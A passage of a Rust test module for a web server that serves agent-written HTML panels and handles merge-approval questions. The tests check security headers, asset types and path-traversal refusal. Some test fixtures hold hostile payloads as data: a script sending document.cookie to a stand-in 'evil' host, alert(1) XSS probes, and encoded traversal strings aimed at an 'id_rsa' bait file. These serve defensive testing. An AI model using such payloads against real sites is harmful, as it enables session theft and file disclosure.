9777    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9778        let store = fx.questions();
9779        let mut q = Question::new(
9780            "20260902-000000-beef".to_owned(),
9781            "land".to_owned(),
9782            "fix".to_owned(),
9783            "Merge this?".to_owned(),
9784            "the diff is in the panel".to_owned(),
9785            vec!["merge".to_owned(), "hold".to_owned()],
9786        );
9787        // Staged outside the questions root, because `put_panel` copies from
9788        // wherever the agent left its files.
9789        let staging = fx.home.path().join("staging");
9790        std::fs::create_dir_all(&staging).expect("staging dir");
9791        let sources: Vec<PathBuf> = assets
9792            .iter()
9793            .map(|(name, bytes)| {
9794                let path = staging.join(name);
9795                std::fs::write(&path, bytes).expect("write staged asset");
9796                path
9797            })
9798            .collect();
9799        store
9800            .put_panel(&mut q, html, &sources)
9801            .expect("write the panel");
9802        store.put(&mut q).expect("put question");
9803        q.id
9804    }
9805
9806    /// A talk on disk, without talking to a model.
9807    ///
9808    /// Written as JSON straight into the store the server reads, because the
9809    /// only constructor `talk::begin` offers takes no turn but still requires
9810    /// a real caller-visible flow. The one thing this cannot make up is the
9811    /// seat, so it is built with the real `SeatState::new` and serialized -
9812    /// the alternative, hand-writing that object, would make these tests fail
9813    /// the day the seat gains a field.
9814    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9815        seed_talk_at(&fx.talks(), id, status)
9816    }
9817
9818    fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9819        std::fs::create_dir_all(store.root()).expect("talks dir");
9820        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9821            .expect("serialize a seat");
9822        let body = serde_json::json!({
9823            "schema": 1,
9824            "id": id,
9825            "repo": "/repo/magi",
9826            "agent": "mock",
9827            "status": status,
9828            "turns": [],
9829            "created_at": Timestamp::now().to_string(),
9830            "updated_at": Timestamp::now().to_string(),
9831            "seat": seat,
9832        });
9833        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9834        store.get(id).expect("the seeded talk has to be readable");
9835        id.to_owned()
9836    }
9837
9838    #[tokio::test]
9839    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9840        let fx = Fixture::start().await;
9841        let id = panel(
9842            &fx,
9843            "<h1>Merge?</h1><img src=\"diff.svg\">",
9844            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9845        );
9846
9847        for path in [
9848            format!("/api/questions/{id}/panel"),
9849            format!("/api/questions/{id}/asset/diff.svg"),
9850        ] {
9851            let res = fx.get(&path).await;
9852            assert_eq!(res.status, 200, "{path}: {}", res.body);
9853            // The whole string, not a substring. A weakened directive - an
9854            // `img-src *` that lets a panel beacon out to a remote host, a
9855            // `script-src` anything, a missing `form-action` that lets it post
9856            // the owner's decision to a third party - has to fail here, and a
9857            // `contains` assertion would let every one of those through.
9858            assert_eq!(
9859                res.header("content-security-policy"),
9860                Some(
9861                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
9862                     font-src data:; base-uri 'none'; form-action 'none'; \
9863                     frame-ancestors 'self'"
9864                ),
9865                "{path} is the only thing between a hostile panel and the tailnet"
9866            );
9867            assert_eq!(
9868                res.header("x-content-type-options"),
9869                Some("nosniff"),
9870                "{path}: a browser must not re-decide the type we sent"
9871            );
9872            assert_eq!(
9873                res.header("referrer-policy"),
9874                Some("no-referrer"),
9875                "{path}: a panel must not leak the question id off the machine"
9876            );
9877
9878            // The front end mounts the frame only after a `HEAD` says the
9879            // panel is there, so `HEAD` has to answer with the same status and
9880            // the same policy as `GET` - a preflight that came back without
9881            // the CSP would mean a frame mounted on an unverified promise.
9882            let pre = fx.head(&path).await;
9883            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
9884            assert_eq!(
9885                pre.header("content-security-policy"),
9886                res.header("content-security-policy"),
9887                "{path}: the preflight carries the same policy"
9888            );
9889            assert_eq!(
9890                pre.header("content-type"),
9891                res.header("content-type"),
9892                "{path}: the preflight carries the same type"
9893            );
9894        }
9895    }
9896
9897    #[tokio::test]
9898    async fn a_panel_reaches_the_browser_byte_for_byte() {
9899        let fx = Fixture::start().await;
9900        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
9901        // tag, an entity, and a multi-byte character. The sandbox is what makes
9902        // this safe, so nothing here may be rewritten on the way out - a
9903        // rewritten diff is a diff the owner cannot trust.
9904        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
9905        let id = panel(&fx, html, &[]);
9906
9907        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9908
9909        assert_eq!(res.status, 200);
9910        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9911        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9912        assert_eq!(
9913            res.header("content-disposition"),
9914            None,
9915            "the panel itself is rendered in the frame, not downloaded"
9916        );
9917    }
9918
9919    #[tokio::test]
9920    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9921        let fx = Fixture::start().await;
9922        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9923        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9924        let id = panel(
9925            &fx,
9926            "<img src=\"diff.svg\"><img src=\"shot.png\">",
9927            &[("diff.svg", svg), ("shot.png", png)],
9928        );
9929
9930        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9931        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9932
9933        assert_eq!(as_svg.status, 200);
9934        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9935        // An SVG is XML that may carry script. Inside the panel it is an
9936        // `<img src>` and the script cannot run; opened at the top level it
9937        // would be a document on magi's own origin, so the browser is told to
9938        // download it instead of rendering it.
9939        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9940
9941        assert_eq!(as_png.status, 200);
9942        assert_eq!(as_png.header("content-type"), Some("image/png"));
9943        assert_eq!(
9944            as_png.header("content-disposition"),
9945            None,
9946            "a raster image has no execution surface, so tapping it still shows it"
9947        );
9948        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9949    }
9950
9951    #[tokio::test]
9952    async fn an_html_asset_is_never_served_as_html() {
9953        let fx = Fixture::start().await;
9954        let id = panel(
9955            &fx,
9956            "<p>see the notes</p>",
9957            &[
9958                (
9959                    "notes.html",
9960                    b"<script>fetch('http://evil/'+document.cookie)</script>",
9961                ),
9962                ("hook.js", b"fetch('http://evil/')"),
9963                ("data.json", b"{}"),
9964                ("HEADLINE.TXT", b"plain"),
9965            ],
9966        );
9967
9968        for name in ["notes.html", "hook.js", "data.json"] {
9969            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9970            assert_eq!(res.status, 200, "{name}: {}", res.body);
9971            // Serving this as text/html would be a way to reach agent markup
9972            // at the top level of the operator's browser, outside the frame's
9973            // sandbox and outside its CSP - which is the whole thing the panel
9974            // design exists to prevent. Unlisted types are downloads.
9975            assert_eq!(
9976                res.header("content-type"),
9977                Some("application/octet-stream"),
9978                "{name} must not be a type the browser will execute or render"
9979            );
9980        }
9981        // The whitelist is matched case-insensitively, so an agent shouting the
9982        // extension still gets a readable file rather than a download.
9983        let txt = fx
9984            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9985            .await;
9986        assert_eq!(
9987            txt.header("content-type"),
9988            Some("text/plain; charset=utf-8")
9989        );
9990    }
9991
9992    #[tokio::test]
9993    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9994        let fx = Fixture::start().await;
9995        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9996        // Something outside the panel directory that a traversal would reach if
9997        // one got through, so a passing test is not merely "the file was
9998        // missing anyway".
9999        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10000
10001        // Decoded before this server's handler sees them: axum percent-decodes
10002        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
10003        // string with a NUL in it. All three look like ordinary single-segment
10004        // filenames to the router, so the router passes them through and
10005        // `valid_asset_name` is what refuses them - for the literal `..`, and
10006        // for `/`, `\` and NUL not being in the permitted character set.
10007        for encoded in [
10008            "%2e%2e%2fid_rsa",
10009            "..%2fid_rsa",
10010            "..%5cid_rsa",
10011            "%2e%2e%5cid_rsa",
10012            "diff%00.svg",
10013            "..",
10014            ".hidden",
10015            "%2e%2e%2f%2e%2e%2fid_rsa",
10016        ] {
10017            let res = fx
10018                .get(&format!("/api/questions/{id}/asset/{encoded}"))
10019                .await;
10020            assert_eq!(
10021                res.status, 400,
10022                "`{encoded}` has to be refused by name, not looked up: {}",
10023                res.body
10024            );
10025            assert!(res.json()["error"].is_string(), "{}", res.body);
10026        }
10027
10028        // Not decoded, and never this handler's problem: a real slash makes the
10029        // request one segment too long for `/api/questions/{id}/asset/{name}`,
10030        // so axum's router has no route to match and answers before any code
10031        // here runs. Asserted so that a future route with a wildcard segment
10032        // cannot quietly open this door.
10033        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10034            let res = fx
10035                .get(&format!("/api/questions/{id}/asset/{literal}"))
10036                .await;
10037            assert_eq!(
10038                res.status, 404,
10039                "`{literal}` must not match the asset route at all: {}",
10040                res.body
10041            );
10042        }
10043    }
10044
10045    #[tokio::test]
10046    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10047        let fx = Fixture::start().await;
10048        let plain = ask(&fx, "Which backend?", &["SQLite"]);
10049        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10050
10051        // A question nobody wrote a panel for. The client preflights with HEAD
10052        // and cannot see inside a sandboxed frame, so this must be a status and
10053        // not an empty page.
10054        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10055        assert_eq!(none.status, 404, "{}", none.body);
10056        assert!(none.json()["error"].is_string(), "{}", none.body);
10057        assert_eq!(
10058            fx.head(&format!("/api/questions/{plain}/panel"))
10059                .await
10060                .status,
10061            404,
10062            "the preflight is the only way the client can learn this"
10063        );
10064
10065        // A name that is perfectly legal and simply is not there.
10066        let missing = fx
10067            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10068            .await;
10069        assert_eq!(missing.status, 404, "{}", missing.body);
10070        assert!(missing.json()["error"].is_string(), "{}", missing.body);
10071
10072        // A question that does not exist at all, on both routes.
10073        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10074        assert_eq!(
10075            fx.get("/api/questions/nope/asset/diff.svg").await.status,
10076            404
10077        );
10078    }
10079
10080    #[tokio::test]
10081    async fn a_run_with_an_open_question_reads_as_waiting() {
10082        let fx = Fixture::start().await;
10083        let run = "20260902-000000-beef".to_owned();
10084        write_run(&fx.runs(), &run, RunStatus::Implementing);
10085
10086        let before = fx.get("/api/runs").await.json();
10087        assert_eq!(before[0]["waiting"], false, "{before}");
10088
10089        let store = fx.questions();
10090        let mut q = Question::new(
10091            run.clone(),
10092            "implement".to_owned(),
10093            "impl-A".to_owned(),
10094            "Which backend?".to_owned(),
10095            String::new(),
10096            vec!["SQLite".to_owned()],
10097        );
10098        store.put(&mut q).expect("put");
10099
10100        let during = fx.get("/api/runs").await.json();
10101        assert_eq!(during[0]["waiting"], true, "{during}");
10102
10103        // Answered: the run is moving again, and the flag has to follow without
10104        // anything having rewritten run.json.
10105        q.answer(Answer::Choice("SQLite".to_owned()))
10106            .expect("answer");
10107        store.put(&mut q).expect("put");
10108        let after = fx.get("/api/runs").await.json();
10109        assert_eq!(after[0]["waiting"], false, "{after}");
10110    }
10111
10112    #[tokio::test]
10113    async fn an_open_question_is_listed_and_counted_by_health() {
10114        let fx = Fixture::start().await;
10115        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10116
10117        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10118        let listed = fx.get("/api/questions").await.json();
10119        assert_eq!(listed.as_array().expect("array").len(), 1);
10120        assert_eq!(listed[0]["id"], id);
10121        assert_eq!(listed[0]["status"], "open");
10122        assert_eq!(listed[0]["choices"][1], "Redis");
10123        // The count is what makes the phone's indicator honest: it is the one
10124        // number meaning nothing will move until a human acts.
10125        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10126    }
10127
10128    fn obsolete_approval_state() -> RunState {
10129        let mut state = crate::land::tests::repair_state(true, true);
10130        state.pr = Some(crate::run::PrRecord {
10131            url: "https://github.com/example/repo/pull/42".into(),
10132            number: 42,
10133            state: "open".into(),
10134            checks: "green".into(),
10135            round: 1,
10136            rounds: 4,
10137            red_at_merge: Vec::new(),
10138        });
10139        state
10140    }
10141
10142    #[tokio::test]
10143    async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10144        for owner in ["missing", "current", "completed", "later"] {
10145            let fx = Fixture {
10146                home: TempDir::new().unwrap(),
10147                addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10148            };
10149            let mut state = obsolete_approval_state();
10150            state.status = RunStatus::Landing;
10151            state.parked = true;
10152            state.driver_exited = true;
10153            let mut q = Question::new(
10154                state.id.clone(),
10155                crate::land::APPROVAL_NODE.into(),
10156                "land".into(),
10157                "Old approval".into(),
10158                "Original evidence".into(),
10159                vec!["merge".into(), "hold".into()],
10160            );
10161            state.land_approval = Some(crate::run::LandApproval {
10162                question: q.id.clone(),
10163                head: "head".into(),
10164            });
10165            state.save_under(fx.home.path()).unwrap();
10166            let stale = state.clone();
10167            fx.questions().put(&mut q).unwrap();
10168            let mut task = Task::new(
10169                "Owner".into(),
10170                "Original instruction".into(),
10171                state.repo.clone(),
10172                Source::Human,
10173            );
10174            task.runs.push(state.id.clone());
10175            task.status = if owner == "completed" {
10176                TaskStatus::Done
10177            } else {
10178                TaskStatus::Parked
10179            };
10180            if owner == "later" {
10181                task.runs.push("later-run".into());
10182            }
10183            if owner != "missing" {
10184                fx.queue().put(&mut task).unwrap();
10185            }
10186            let ui = Arc::new(Ui::new(
10187                fx.queue(),
10188                fx.questions(),
10189                fx.talks(),
10190                fx.runs(),
10191                fx.home.path().into(),
10192                state.repo.clone(),
10193            ));
10194            let response = question_answer(
10195                State(ui),
10196                Path(q.id.clone()),
10197                Ok(Json(NewAnswer {
10198                    choice: Some(crate::merge_decision::DISMISS.into()),
10199                    text: None,
10200                })),
10201            )
10202            .await
10203            .unwrap();
10204            assert_eq!(
10205                response.0.question.resolution().as_deref(),
10206                Some(crate::merge_decision::DISMISS)
10207            );
10208            let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10209            assert_eq!(disk.status, RunStatus::Superseded);
10210            assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10211            assert!(!crate::merge_decision::resumable_hold(&disk));
10212            assert_eq!(
10213                serde_json::to_value(&disk.pr).unwrap(),
10214                serde_json::to_value(&stale.pr).unwrap()
10215            );
10216            assert_eq!(fx.questions().count_open(), 0);
10217            assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10218            crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10219            if owner == "missing" {
10220                assert!(fx.queue().list().is_empty());
10221            } else {
10222                let after = fx.queue().get(&task.id).unwrap();
10223                assert_eq!(
10224                    after.status,
10225                    if owner == "current" {
10226                        TaskStatus::Done
10227                    } else {
10228                        task.status
10229                    }
10230                );
10231                assert_eq!(after.runs, task.runs);
10232                assert_eq!(after.instruction, task.instruction);
10233                assert_eq!(after.action_applied(&q.id), owner == "current");
10234            }
10235        }
10236    }
10237
10238    #[tokio::test]
10239    async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10240        let fx = Fixture::start().await;
10241        let mut state = obsolete_approval_state();
10242        state.status = RunStatus::Landing;
10243        state.parked = true;
10244        state.driver_exited = true;
10245        let mut q = Question::new(
10246            state.id.clone(),
10247            crate::land::APPROVAL_NODE.into(),
10248            "land".into(),
10249            "Superseded PR approval".into(),
10250            "Original review evidence".into(),
10251            vec!["merge".into(), "hold".into()],
10252        );
10253        state.land_approval = Some(crate::run::LandApproval {
10254            question: q.id.clone(),
10255            head: "old-reviewed-head".into(),
10256        });
10257        // The old persisted PR may still say open even when a separate change
10258        // already landed. Dismissal must not use that snapshot to close it.
10259        state.save_under(fx.home.path()).unwrap();
10260        let stale_driver = state.clone();
10261        fx.questions().put(&mut q).unwrap();
10262        let path = fx
10263            .home
10264            .path()
10265            .join("questions")
10266            .join(format!("{}.json", q.id));
10267        let mut legacy = serde_json::to_value(&q).unwrap();
10268        legacy["schema"] = 9.into();
10269        legacy.as_object_mut().unwrap().remove("merge_target");
10270        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
10271
10272        // POST without GET tests legacy upgrade and validation at the actual
10273        // entry point, rather than constructing a modern card in the test.
10274        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10275        let answer_path = format!("/api/questions/{}/answer", q.id);
10276        let res = fx.post(&answer_path, Some(&body)).await;
10277        assert_eq!(res.status, 200, "{}", res.body);
10278        let disk = fx.questions().get(&q.id).unwrap();
10279        assert_eq!(
10280            disk.resolution().as_deref(),
10281            Some(crate::merge_decision::DISMISS)
10282        );
10283        assert!(disk.detail.starts_with("Original review evidence"));
10284        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
10285        assert_eq!(retired.status, RunStatus::Superseded);
10286        assert_eq!(
10287            serde_json::to_value(&retired.pr).unwrap(),
10288            serde_json::to_value(&state.pr).unwrap()
10289        );
10290        assert!(!retired.merge_decision.as_ref().unwrap().closed);
10291        assert!(!crate::merge_decision::resumable_hold(&retired));
10292        assert!(fx.queue().list().is_empty());
10293        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10294        // A restarted server re-reads the persisted pending list.
10295        let addr = Fixture::serve(
10296            fx.home.path(),
10297            PathBuf::from("/repo/magi"),
10298            launch_idle,
10299            None,
10300        )
10301        .await;
10302        let reconnected = Fixture {
10303            home: fx.home,
10304            addr,
10305        };
10306        let listed = reconnected.get("/api/questions").await.json();
10307        assert!(
10308            listed
10309                .as_array()
10310                .unwrap()
10311                .iter()
10312                .all(|q| q["status"] != "open")
10313        );
10314        assert_eq!(listed[0]["id"], q.id, "history remains available");
10315        assert_eq!(
10316            reconnected.get("/api/health").await.json()["questions_open"],
10317            0
10318        );
10319        assert_eq!(
10320            reconnected
10321                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
10322                .await
10323                .status,
10324            409
10325        );
10326        // A late waiter cannot turn the old answer into a new decision.
10327        assert!(
10328            reconnected
10329                .questions()
10330                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
10331                .is_err()
10332        );
10333        // The same guard used by claims, repair and publication rejects a
10334        // saved in-memory driver as well as the persisted terminal record.
10335        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
10336    }
10337
10338    #[tokio::test]
10339    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
10340        let fx = Fixture::start().await;
10341        let mut state = obsolete_approval_state();
10342        state.status = RunStatus::Landing;
10343        state.driver_exited = true;
10344        let mut q = Question::new(
10345            state.id.clone(),
10346            crate::land::APPROVAL_NODE.into(),
10347            "land".into(),
10348            "Obsolete approval".into(),
10349            String::new(),
10350            vec!["merge".into(), "hold".into()],
10351        );
10352        state.land_approval = Some(crate::run::LandApproval {
10353            question: q.id.clone(),
10354            head: "head".into(),
10355        });
10356        state.save_under(fx.home.path()).unwrap();
10357        fx.questions().put(&mut q).unwrap();
10358        let mut task = Task::new(
10359            "Owner".into(),
10360            "Original instruction".into(),
10361            state.repo.clone(),
10362            Source::Human,
10363        );
10364        task.runs = vec![state.id.clone(), "later-run".into()];
10365        fx.queue().put(&mut task).unwrap();
10366        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
10367        let claim = fx.queue().claim(&task.id).unwrap();
10368        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10369        let path = format!("/api/questions/{}/answer", q.id);
10370        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10371        assert!(fx.questions().get(&q.id).unwrap().status.open());
10372        drop(claim);
10373        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
10374        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10375        assert!(fx.questions().get(&q.id).unwrap().status.open());
10376        drop(publication);
10377        // Unknown liveness and armed auto-merge both fail without settling.
10378        state.driver_exited = false;
10379        state.driver_pid = None;
10380        state.save_under(fx.home.path()).unwrap();
10381        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10382        state.driver_exited = true;
10383        state.land_armed_head = Some("head".into());
10384        state.save_under(fx.home.path()).unwrap();
10385        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
10386        state.land_armed_head = None;
10387        state.save_under(fx.home.path()).unwrap();
10388        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10389        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10390        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
10391    }
10392
10393    #[tokio::test]
10394    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
10395        let fx = Fixture::start().await;
10396        let mut state = obsolete_approval_state();
10397        state.status = RunStatus::Landing;
10398        state.driver_exited = true;
10399        let mut q = Question::new(
10400            state.id.clone(),
10401            crate::land::APPROVAL_NODE.into(),
10402            "land".into(),
10403            "Obsolete approval".into(),
10404            String::new(),
10405            vec!["merge".into(), "hold".into()],
10406        );
10407        state.land_approval = Some(crate::run::LandApproval {
10408            question: q.id.clone(),
10409            head: "head".into(),
10410        });
10411        state.save_under(fx.home.path()).unwrap();
10412        fx.questions().put(&mut q).unwrap();
10413        let mut task = Task::new(
10414            "Owner".into(),
10415            "Original instruction".into(),
10416            state.repo.clone(),
10417            Source::Human,
10418        );
10419        task.runs.push(state.id.clone());
10420        task.status = TaskStatus::Parked;
10421        fx.queue().put(&mut task).unwrap();
10422        // Model a crash after the run stop was persisted but before the queue
10423        // and answered question were flushed. Retrying must finish, not resume.
10424        state.merge_decision = Some(crate::merge_decision::Decision {
10425            question: q.id.clone(),
10426            target: crate::merge_decision::Target {
10427                pr: state.pr.as_ref().unwrap().url.clone(),
10428                head: "head".into(),
10429                language: "ja".into(),
10430            },
10431            choice: crate::merge_decision::DISMISS.into(),
10432            closed: false,
10433            replacement_run: None,
10434            replacement_pr: None,
10435        });
10436        state.status = RunStatus::Superseded;
10437        state.save_under(fx.home.path()).unwrap();
10438        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
10439        let path = format!("/api/questions/{}/answer", q.id);
10440        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
10441        let done = fx.queue().get(&task.id).unwrap();
10442        assert_eq!(done.status, TaskStatus::Done);
10443        assert_eq!(done.runs, task.runs);
10444        assert_eq!(done.instruction, task.instruction);
10445        assert!(done.action_applied(&q.id));
10446        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10447        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
10448        assert!(!fx.questions().get(&q.id).unwrap().status.open());
10449    }
10450
10451    #[tokio::test]
10452    async fn merge_decision_api_persists_exact_target_and_selected_action() {
10453        let fx = Fixture {
10454            home: TempDir::new().unwrap(),
10455            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10456        };
10457        for choice in [
10458            crate::land::HOLD,
10459            crate::land::REPAIR,
10460            crate::land::APPROVE,
10461            crate::merge_decision::WITHDRAW,
10462            "reimplement:beta",
10463        ] {
10464            let mut q = Question::new(
10465                "old-run".into(),
10466                crate::land::APPROVAL_NODE.into(),
10467                "land".into(),
10468                "Decision".into(),
10469                "Review findings".into(),
10470                vec![
10471                    "merge".into(),
10472                    "hold".into(),
10473                    crate::land::REPAIR.into(),
10474                    crate::merge_decision::WITHDRAW.into(),
10475                    "reimplement:beta".into(),
10476                ],
10477            );
10478            q.merge_target = Some(crate::merge_decision::Target {
10479                pr: "https://github.com/example/repo/pull/42".into(),
10480                head: "exact-reviewed-head".into(),
10481                language: "ja".into(),
10482            });
10483            q.consult = Some(ask::ChatConsult {
10484                talk: "another-conversation".into(),
10485                at: jiff::Timestamp::now(),
10486            });
10487            fx.questions().put(&mut q).unwrap();
10488            let ui = Arc::new(Ui::new(
10489                fx.queue(),
10490                fx.questions(),
10491                fx.talks(),
10492                fx.runs(),
10493                fx.home.path().into(),
10494                std::path::PathBuf::from("."),
10495            ));
10496            let response = question_answer(
10497                State(ui.clone()),
10498                Path(q.id.clone()),
10499                Ok(Json(NewAnswer {
10500                    choice: Some(choice.into()),
10501                    text: None,
10502                })),
10503            )
10504            .await
10505            .unwrap();
10506            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
10507            let disk = fx.questions().get(&q.id).unwrap();
10508            assert_eq!(disk.merge_target, q.merge_target);
10509            assert_eq!(disk.consult, q.consult);
10510            assert!(
10511                disk.answer_authority.is_none(),
10512                "a direct owner card is its own decision"
10513            );
10514            assert_eq!(disk.resolution().as_deref(), Some(choice));
10515            assert!(
10516                question_answer(
10517                    State(ui),
10518                    Path(q.id.clone()),
10519                    Ok(Json(NewAnswer {
10520                        choice: Some("merge".into()),
10521                        text: None
10522                    }))
10523                )
10524                .await
10525                .is_err(),
10526                "an already settled decision cannot turn into merge approval"
10527            );
10528        }
10529    }
10530
10531    #[tokio::test]
10532    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
10533        let fx = Fixture {
10534            home: TempDir::new().unwrap(),
10535            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10536        };
10537        let mut state = crate::land::tests::repair_state(true, true);
10538        state.status = RunStatus::Landing;
10539        state.parked = true;
10540        state.driver_exited = true;
10541        let mut task = Task::new(
10542            "Existing PR owner".into(),
10543            state.instruction.clone(),
10544            state.repo.clone(),
10545            Source::Human,
10546        );
10547        task.runs.push(state.id.clone());
10548        task.status = TaskStatus::Parked;
10549        fx.queue().put(&mut task).unwrap();
10550        let mut q = Question::new(
10551            state.id.clone(),
10552            crate::land::APPROVAL_NODE.into(),
10553            "land".into(),
10554            "Contested merge".into(),
10555            "Original evidence".into(),
10556            vec!["merge".into(), "hold".into()],
10557        );
10558        state.land_approval = Some(crate::run::LandApproval {
10559            question: q.id.clone(),
10560            head: "reviewed-head".into(),
10561        });
10562        state.save_under(fx.home.path()).unwrap();
10563        fx.questions().put(&mut q).unwrap();
10564        // A later repair answer on this old card supersedes this manual hold.
10565        task.hold_manual(Some("Pause this PR".into()));
10566        fx.queue().put(&mut task).unwrap();
10567        // POST directly, without a preceding GET: validation must see the
10568        // same durable upgrade that the card, CLI and chat see.
10569        let ui = Arc::new(Ui::new(
10570            fx.queue(),
10571            fx.questions(),
10572            fx.talks(),
10573            fx.runs(),
10574            fx.home.path().to_path_buf(),
10575            state.repo.clone(),
10576        ));
10577        let response = question_answer(
10578            State(ui),
10579            Path(q.id.clone()),
10580            Ok(Json(NewAnswer {
10581                choice: Some(crate::land::REPAIR.into()),
10582                text: None,
10583            })),
10584        )
10585        .await
10586        .unwrap();
10587        assert_eq!(response.0.question.id, q.id);
10588        let upgraded = fx.questions().get(&q.id).unwrap();
10589        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
10590        assert!(upgraded.detail.starts_with("Original evidence"));
10591        let claim = fx.queue().claim(&task.id).unwrap();
10592        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10593        assert!(
10594            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
10595            "an existing driver keeps its claim"
10596        );
10597        drop(claim);
10598        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10599        let resumed = fx.queue().get(&task.id).unwrap();
10600        assert_eq!(
10601            resumed
10602                .resume_override
10603                .as_ref()
10604                .unwrap()
10605                .pinned_run
10606                .as_deref(),
10607            Some(state.id.as_str())
10608        );
10609        assert!(resumed.status.runnable());
10610        assert_eq!(resumed.instruction, task.instruction);
10611        assert_eq!(resumed.runs, task.runs);
10612        assert!(resumed.action_applied(&q.id));
10613        crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10614        assert_eq!(fx.queue().list().len(), 1);
10615        assert_eq!(
10616            fx.queue().get(&task.id).unwrap().resume_override,
10617            resumed.resume_override
10618        );
10619        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10620        assert!(
10621            disk.merge_repairs.is_empty(),
10622            "only the claimed run driver may execute repair"
10623        );
10624        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
10625    }
10626
10627    #[tokio::test]
10628    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
10629        let fx = Fixture::start().await;
10630        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10631        let path = format!("/api/questions/{id}/answer");
10632
10633        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
10634        assert_eq!(res.status, 200, "{}", res.body);
10635        let body = res.json();
10636        assert_eq!(body["status"], "answered");
10637        assert_eq!(body["answer"]["choice"], "Redis");
10638
10639        // Answered from the terminal in between the list and the tap: the UI
10640        // must be able to tell this from a bad request, so it can show the
10641        // recorded answer instead of an error.
10642        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
10643        assert_eq!(again.status, 409, "{}", again.body);
10644        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10645    }
10646
10647    #[tokio::test]
10648    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
10649        let home = tempfile::tempdir().unwrap();
